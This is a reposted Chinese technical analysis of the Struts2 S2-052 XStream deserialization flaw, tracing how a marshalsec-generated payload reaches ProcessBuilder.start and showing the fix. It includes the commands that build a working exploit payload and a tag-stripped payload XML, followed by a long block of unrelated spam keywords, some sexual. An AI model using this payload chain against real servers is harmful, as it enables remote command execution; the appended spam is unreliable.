头条  >   频道  >  正文

S2-052从Payload到执行浅析

亲,暂时无法评论!

近期曝光的S2-052漏洞备受瞩目,之前的struts版本只要开启了rest插件都有可能会受到影响,网上已经公开的POC已经包含了能够进行远程攻击的payload,该payload实际上是marshallsec利用XStream中的ImageIO gadget生成的XML。本文会介绍从payload生成到执行的整个流程。

本次实验分析的jdk版本为1.8。

生成payload

payload的生成过程非常简单:

git clone https://github.com/mbechler/marshalsec.git
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

生成的payload如下:


  
    
      0
      
        
          
            
              
                false
                0
                
                  
                    
                    
                      
                        calc
                      
                      false
                    
                  
                  
                    
                      java.lang.ProcessBuilder
                      start
                      
                    
                    foo
                  
                  foo
                
                
              
              
              
              false
              0
              0
              false
            
            false
          
          
        
        0
      
    
    
  
  
    
    
  

过程分析

1. 寻找xml解释器

当payload发送到存在漏洞的struts服务端时,可以看到会调用到XStreamHandler类的toObject方法将xml转化成对象。

S2-052

在调用XStreamHandler的toObject方法之前,RestActionInvocation会读取struts-plugin.xml中的解释器并遍历来寻找能够解析输入的Interceptor,直到找到rest库中的ContentTypeInterceptor类(第17次找到rest,对应于下图的16项)。

S2-052

2. 解析XML

首先给出比较重要的调用过程:

toObject, XStreamHandler
  fromXML, XStream
    ...
      start, TreeUnmarshaller // 真正开始解析XML,识别类并转化成对象
        ...
          unmarshal, MapConverter // 开始解析顶层的Map对象
            populateMap, MapConverter
              putCurrentEntryInfoMap, MapConverter // 解析第一对Entry,即结构
                key = readItem // 生成jdk.nashorn.internal.objects.NativeString对象
                  readClassType  // 读取key的类型,即jdk.nashorn.internal.objects.NativeString
                  ConvertAnother // 递归解析对象
                    .....
                value = readItem
                put(key, value), HashMap // 将解析的key,value对象添加到HashMap中
                  putVal, HashMap
                     hash(key), HashMap  // 对key计算hash
                       key.hashCode, NativeString
                          getStringValue, NativeString
                            toString, Base64Data //调用value的toString方法
                              get, Base64Data
                                readFrom, ByteArrayOutputStreamEx
                                  read, CipherInputStream
                                    getMoreData, CipherInputStream
                                      update, NullCipher
                                        chooseFirstProvider, NullCipher
                                          next, FilterIterator
                                            advance, FilterIterator
                                              filter, FilterIterator
                                                method.invoke // ProcessBuilder.start()

总结一下就是XStream会完成NativeString对象(map第一个键值对)的正常解析,但是当把键值对添加到HashMap对象中时,会计算key (NativeString) 的hash值,也就是对NativeString的value计算hash,但是value的类型并不是String,而是Base64Data,调用Base64Data的toString方法会引发接下来的一系列调用,最终导致命令执行。

下面针对其中的调用过程进行追踪:

2.1 key对象解析

ContentTypeInterceptor的intercept方法会获取能够解析request内容的handler,并调用handler的toObject方法。

public String intercept(ActionInvocation invocation) throws Exception {
        HttpServletRequest request = ServletActionContext.getRequest();
        ContentTypeHandler handler = this.selector.getHandlerForRequest(request); // XStreamHandler
        Object target = invocation.getAction();
        if(target instanceof ModelDriven) {
            target = ((ModelDriven)target).getModel();
        }
​
        if(request.getContentLength() > 0) {
            InputStream is = request.getInputStream();
            InputStreamReader reader = new InputStreamReader(is);
            handler.toObject(reader, target); // XStreamHandler.toObject
        }
​
        return invocation.invoke();
    }

XStreamHandler则会调用XStream类的fromXML方法,将Reader对象中的内容转换成target对象。

public void toObject(Reader in, Object target) {
        XStream xstream = this.createXStream();
        xstream.fromXML(in, target);
    }

struts官方发布的新版本也正是在这里进行了修改,新版本的相关方法如下:

public void toObject(ActionInvocation invocation, Reader in, Object target)
{
    XStream xstream = CreateXStream(invocation);
    xstream.fromXML(in, target);
}
​
protected XStream createXStream(ActionInvocation invocation){
  XStream stream = new XStream();
  stream.addPermission(NoTypePermission.None);
  addPerActionPermission(invocation, stream);
  addDefaultPermissions(invocation, stream);
  return stream;
}

针对每个action对创建的xstream流对象进行了权限控制,只允许对指定的类进行解析。

S2-052

从XStream的toObject方法开始,直到TreeUnmarshaller的start方法才开始解析XML结构:

 public Object start(DataHolder dataHolder) {
        this.dataHolder = dataHolder;
        Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);   // java.util.Map
        Object result = this.convertAnother((Object)null, type);
        Iterator validations = this.validationList.iterator();
​
        while(validations.hasNext()) {
            Runnable runnable = (Runnable)validations.next();
            runnable.run();
        }
​
        return result;
    }

start方法首先读取reader的顶级标签类,此时type对应顶层的标签,也就是 java.uti.Map接口。之后进入到ConvertAnother方法:

 public Object convertAnother(Object parent, Class type, Converter converter) {
        type = this.mapper.defaultImplementationOf(type); // java.util.HashMap
        if(converter == null) {
            converter = this.converterLookup.lookupConverterForType(type);
        } else if(!converter.canConvert(type)) {
            ConversionException e = new ConversionException(Explicit selected converter cannot handle type);
            e.add(item-type, type.getName());
            e.add(converter-type, converter.getClass().getName());
            throw e;
        }
​
        return this.convert(parent, type, converter);
    }

convertAnother方法首先会找到该类对应的具体实现类,java.util.Map变成java.util.HashMap类,然后去寻找合适的转换器,对应于HashMap类找到的converter为MapConverter,通过子类父类的方法调用,最后会执行到MapConvert的unmarshal方法

S2-052

MapConverter的unmarshal方法会调用populateMap对XML结构进行解析,populateMap又会调用putCurrentEntryInfoMap来不断读取每一对标签中的内容,作为一个组合。

 protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) {
        reader.moveDown();
        Object key = this.readItem(reader, context, map);
        reader.moveUp();
        reader.moveDown();
        Object value = this.readItem(reader, context, map);
        reader.moveUp();
        target.put(key, value);
    }

protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
        Class type = HierarchicalStreams.readClassType(reader, this.mapper());
        return context.convertAnother(current, type);
    }

对key和value对象的解析会调用readItem方法,该方法与TreeUnmarshaller的start方法类似,都是读取类型,然后根据该类型转换成对应的对象。最终解析完成之后第一个entry的key会转换成NativeString对象,该对象的value字段为Base64Data对象。key的解析结果如下:

S2-052

2.2 命令执行

key对象的转换过程只是一个填充对象字段的过程,不涉及命令执行。当对key和value的解析过程完成,接下来调用target.put(key, value),将键值对加入到HashMap中。该方法会对key计算hash,调用key.hashCode方法,即 NativeString的hashCode方法。

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
​
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

NativeString的hashCode方法首先调用getStringValue获取value的string值,再调用String的hashCode方法。

public int hashCode() {
        return this.getStringValue().hashCode();
    }
​
    private String getStringValue() {
        return this.value instanceof String?(String)this.value:this.value.toString();
    }

在getStringValue的调用过程中,由于value是Base64Data类型而不是String类型,因此会调用value的toString方法,即Base64Data的toString方法转换成String对象。

S2-052

public String toString() {
        this.get();
        return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen);
    }

public byte[] get() {
        if(this.data == null) {
            try {
                ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024);
                InputStream is = this.dataHandler.getDataSource().getInputStream(); // CipherInputStream
                baos.readFrom(is); // in
                is.close();
                this.data = baos.getBuffer();
                this.dataLen = baos.size();
            } catch (IOException var3) {
                this.dataLen = 0;
            }
        }
​
        return this.data;
    }

Base64Data的toString方法会调用get方法获取数据,get方法又会从Base64的InputStream流中读取数据,执行到ByteArrayOutputStreamEx的readFrom方法。

public void readFrom(InputStream is) throws IOException {
        while(true) {
            if(this.count == this.buf.length) {
                byte[] data = new byte[this.buf.length * 2];
                System.arraycopy(this.buf, 0, data, 0, this.buf.length);
                this.buf = data;
            }
​
            int sz = is.read(this.buf, this.count, this.buf.length - this.count); // read here
            if(sz < 0) {
                return;
            }
​
            this.count += sz;
        }
    }

其中的is成员是CipherInputStream对象,执行is.read也就是调用CipherInputStream类的read方法。payload中CipherInputStream对象的ostart为0 (0), ofinish也为0 (0) ,满足if条件,因此会执行getMoreData方法。

S2-052

 public int read(byte[] var1, int var2, int var3) throws IOException {
        int var4;
        if(this.ostart >= this.ofinish) {
            for(var4 = 0; var4 == 0; var4 = this.getMoreData()) {
                ;
            }
        ......
 }

  private int getMoreData() throws IOException {
        if(this.done) {
            return -1;
        } else {
            int var1 = this.input.read(this.ibuffer);
            if(var1 == -1) {
                ......
            } else {
                try {
                    this.obuffer = this.cipher.update(this.ibuffer, 0, var1);
                } catch (IllegalStateException var4) {
                    this.obuffer = null;
                    throw var4;
                }
                ......
            }
        }
    }

CipherInputStream的done为False,再看下input的read方法,即NullInputStream类的read方法:

public int read(byte b[]) throws IOException {
        return read(b, 0, b.length);
    }

 public int read(byte b[], int off, int len) throws IOException {
        if (b == null) {
            throw new NullPointerException();
        } else if (off < 0 || len < 0 || len > b.length - off) {
            throw new IndexOutOfBoundsException();
        } else if (len == 0) {
            return 0;
        }
        ......
  }

参数b是CipherInputStream的ibuffer成员,是一个length为0的byte数组,相当于调用read(byte [0], 0, 0),read返回值为0。继续回到getMoreData,var1为0,执行到cipher的update方法,即NullCipher的update方法,参数分别为byte[0], 0, 0

public final byte[] update(byte[] var1, int var2, int var3) {
        this.checkCipherState();
        if(var1 != null && var2 >= 0 && var3 <= var1.length - var2 && var3 >= 0) {
            this.chooseFirstProvider();
            return var3 == 0?null:this.spi.engineUpdate(var1, var2, var3);
        } else {
            throw new IllegalArgumentException(Bad arguments);
        }
    }

void chooseFirstProvider() {
     if(this.firstService == null && !this.serviceIterator.hasNext()) {
          ......
          throw;
     }
     if(this.firstService!=null){
         ......
     }else{
       var3 = (Service)this.serviceIterator.next();
       ......
     }
     ......
}

update中var!=null && var2>=0 && var3 <= var1.length - var2 && var3>=0的条件是满足的,调用chooseFirstProvider方法。由于firstService为null, 并且serviceIterator的next是”foo”,因此执行到serviceIterator.next方法,serviceIterator对象如下:

S2-052

public T next() {
        if (next == null) {
            throw new NoSuchElementException();
        }
        T o = next;
        advance();
        return o;
    }

private void advance() {
        while (iter.hasNext()) {
            T elt = iter.next();
            if (filter.filter(elt)) {
                next = elt;
                return;
            }
        }
        next = null;
    }

serviceIterator的next不为空,next方法会执行advance方法,由于iter的next成员不为空,调用iter.next方法,返回值为ProcessBuilder对象,调用filter的filter方法,即ContainsFilter的filter方法,参数为ProcessBuilder对象。

public boolean filter(Object elt) {
    try {
        return contains((String[])method.invoke(elt), name);
    } catch (Exception e) {
        return false;
    }
}

method成员为ProcessBuilder.start方法,elt为ProcessBuilder对象,因此method.invoke(elt)相当于 ProcessBuilder.start() 调用,其中ProcessBuilder为已经构造好要执行的命令的对象,对象内容如下,最终达到命令执行的目的。

S2-052

*本文作者:华为未然实验室,转载请注明来自 FreeBuf.COM

梁实秋作品风格老版红楼梦秦可卿图片无修新最终痴大丈夫115天晴结局刘阿倩简介聊斋志异胡可开心鬼系列顺序,风流三壮士粤语在线猴子争夺王位杀死对方快活美美向前冲未删减,青楼探花txt下载交换淫·妻鬼一般晚上几点出来小说北漂葉晨洢诗词第二部马小乐干柳淑英昨日旧梦《姑妄言》无删减江柳青青博客[综]反派研究史琴鼓联台无艳春秋,冰心经典文章摘抄性奴短篇故事王爷咱俩没钱途txt古言辣文打包下载rar大王遣一介之使至赵之国外文学写作的研究重生明珠全文阅读夏林小说名孤荒移植版攻河铉雨reaction酒后的午夜秘密by勾红赣财企2015年12号文经典武侠评书排行榜妈妈火车上铺的小说我爱你只是开玩笑小说mdyd00950热帯夜东凛剃光头刮全身小说冷枭首席的娇宠妻九州天空城雪凛苗寨风月功夫圣手在线全阅读血夜异闻录下载祝的繁体字怎么写红颜露水在线阅读曹达华拟任珠海市长谁说你是我哥哥完结没神女控种马小说名捕夫人19楼小当家四郎奴隶的形成苗哲王娟拓展风雨人生路的感受杀手穿越种田小说奇怪的苏夕结局是什么十五年等待候鸟番外版,大炕上风流带景色的媛字图片花开女人另类原创黑道皇女未成年s君半月刊第五期淫淫网王老撸uuu关于牡丹富贵的诗词步步惊华懒妃逆天下全集免费阅读祖师公签诗解全部任我淫书屋还珠格格母子乱佗电影小说亲人间的腐文绿衣诗经吟唱好看古代言情打包下载求女主强大的穿越小说重生耽美主攻商战文好久不见txt桑玠忆丝铭轩小说美腿左脚受伤后羿射日读后感300字斗文斗诗斗联的小说女强人穿越重生小说小说双面丽人txt生僻的唐诗女总裁爱上叶承欢沁园春雪朗诵方明互舔的言情小说苍井空经典作品链接我就要你好好的中文txt苍穹乱武txt,情深脉脉首席很腹黑时光如云用馨爱电子书婚命难违总裁下聘99亿身而为人,实为犬儒隐婚老公狠腹黑txt空姐的男奴小说都市现场摇一摇如何弄蛇与美女的小说关于珍爱生命的诗词正一派渡亡朝科小楼传说贰全文神雕侠侣侠客纪郭襄天使萌作品磁力链接律政女王,我爱你我本坏蛋故事简介武逆九天免费阅读,天灵地宝第三卷三千世界鸦杀尽全诗不孝儿女第一部全集成人激情性文学师傅是菩提祖师的小说迟爱新出的番外叶卡捷琳娜一世小说,乔峰插穴记,代替父亲的工作全本食戟妹妹万岁财报就像一本故事好吗成灰亦相思妈妈网大好时光简卉色诱朱涛,张浪伯牡丹一平尺价格新畅想中文网武极天下位卑未敢忘忧国是谁写的突然需要符文铜棒,vdd系列封面高飞麟小说家四个字柳开头的红与黑原著我喜欢的一首诗作文草红楼梦中对女人的描写天使会转世吗兽肚子里胃壁小说做爱精选小说神奇的发卡故事花千骨情若千骨晋江网沦为海盗的奴隶重生六十年代末期起点,十月围城章太炎穿越之异世魔女1—36刘涛伊人如梦相府嫡女凤霸天下紫鸢10本重口味小说推荐你有五星帝王号吗豆豆撸小说小说离开废柴休夫二嫁温柔暴君测试在后宫能活几天极武贯天好看不,乱欲一生那里下载描写离别的优美语句贺龙夫人薛明蛮漂亮的晋江36大院地址借物思人的诗句重生之温悦末世之重生女遇穿越男重生之深爱腐书网下活佛济公徒弟白灵剧照恶魔校草,丫头,你好甜伪村姑的锦绣田园微盘青妖妖的境界,欲秋中文豪门贵妻冷心帝少宠妻类似于美女公寓的小说太子妃24集未删减迅雷马驴的故事续写少女自慰txt豪门女王霸气回归不动明王的故事慕南枝txt下载欧阳雪唐风北逃孽最新更新总裁思维的经典语录独宠娇妻老婆太腹黑txt下载黄冈小状元语文秘招武侠世界自由行123无情女s调教拒绝情人诗句描写穿越过程的句子佐鸣橡皮章素材云南花灯对山歌寐语者凰图最后结局武道神尊只同大圣论金兰打一生肖描写雨后的雨后的诗句叔不可忍txt风雨雕花楼种子重生之纵横异世女皇陛下今晚谁来苍井空吧夫目前犯千里追欢by冬天微盘张孝全和徐熙媛的作品情不自禁叶玉卿版翻云覆雨之纪惜惜前传明宣宗和明孝宗形容女子有才学的诗文明风采只师生情北上广朱亚文背的什么神行天下完本正能量的句子经典语句苍井空(苍老师)作品番号xs-2286龙榆生唐宋词格律黑腹总裁惹不起武侠小说中的妖兽龙门心法阿碧的结局张莜雨诱惑春阿氏唐继全

我要报错
热门推荐

友情链接

注:凡本网注明来源非本站的作品,均转载自其它媒体,并不代表本网赞同其观点和对其真实性负责。

本站致力于资讯传播,希望建立合作关系。若有任何不当请联系我们,将会在24小时内删除。

mxjx.us All Right Reserve 版权所有